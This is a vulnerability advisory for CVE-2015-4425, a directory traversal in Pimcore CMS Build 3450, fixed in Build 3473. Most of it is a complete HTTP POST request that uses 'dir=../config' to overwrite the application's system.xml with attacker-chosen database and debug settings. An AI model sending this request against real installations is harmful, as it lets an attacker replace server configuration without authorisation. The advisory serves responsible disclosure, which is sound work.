Pimcore CMS Build 3450 - Directory Traversal

Vulnerability title: Directory Traversal/Configuration Update In Pimcore CMS

CVE: CVE-2015-4425

Vendor: Pimcore

Product: Pimcore CMS

Affected version: Build 3450

Fixed version: Build 3473

Reported by: Josh Foote

Details:



It is possible for an administrative user with the 'assets' permission to overwrite system configuration files via exploiting a directory traversal vulnerability.



The following request can be used to update the ‘system.xml’ file of the web application:



POST /admin/asset/add-asset-compatibility/?parentId=1&dir=../config HTTP/1.1

Host: pimcore.com

Connection: keep-alive

Content-Length: 1502

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: https://www.host.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36

Content-Type: multipart/form-data; boundary=--------2072505619

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.8,en;q=0.6

Cookie: PHPSESSID=nnmupv1knofcpdgjdnivdr4v27; cookie-warn=true; _ga=GA1.2.1941920115.1426505099; pimcore_admin_sid=j79b6ad4afkjimslbj8l5ifuo4



----------2072505619

Content-Disposition: form-data; name="Filedata"; filename="system.xml" 

Content-Type: application/xml



<?xml version="1.0"?>

<zend-config xmlns:zf="http://framework.zend.com/xml/zend-config-xml/1.0/">

  <general>

    <timezone>Europe/Berlin</timezone>

    <language>en</language>

    <validLanguages>en</validLanguages>

    <debug>1</debug>

    <debugloglevel>debug</debugloglevel>

    <custom_php_logfile>1</custom_php_logfile>

  </general>

  <database>

    <adapter>Mysqli</adapter>

    <params>

      <username>root</username>

      <password>PASSWORD</password>

      <dbname>pimcore</dbname>

      <host>localhost</host>

      <port>3306</port>

    </params>

  </database>

  <documents>

    <versions>

      <steps>10</steps>

    </versions>

    <default_controller>default</default_controller>

    <default_action>default</default_action>

    <error_pages>

      <default>/</default>

    </error_pages>

    <createredirectwhenmoved/>

    <allowtrailingslash>no</allowtrailingslash>

    <allowcapitals>no</allowcapitals>

    <generatepreview>1</generatepreview>

  </documents>

  <objects>

    <versions>

      <steps>10</steps>

    </versions>

  </objects>

  <assets>

    <versions>

      <steps>10</steps>

    </versions>

  </assets>

  <services/>

  <cache>

    <excludeCookie/>

  </cache>

  <httpclient>

    <adapter>Zend_Http_Client_Adapter_Socket</adapter>

  </httpclient>

</zend-config>







Further details at:



https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-4425/



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Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.



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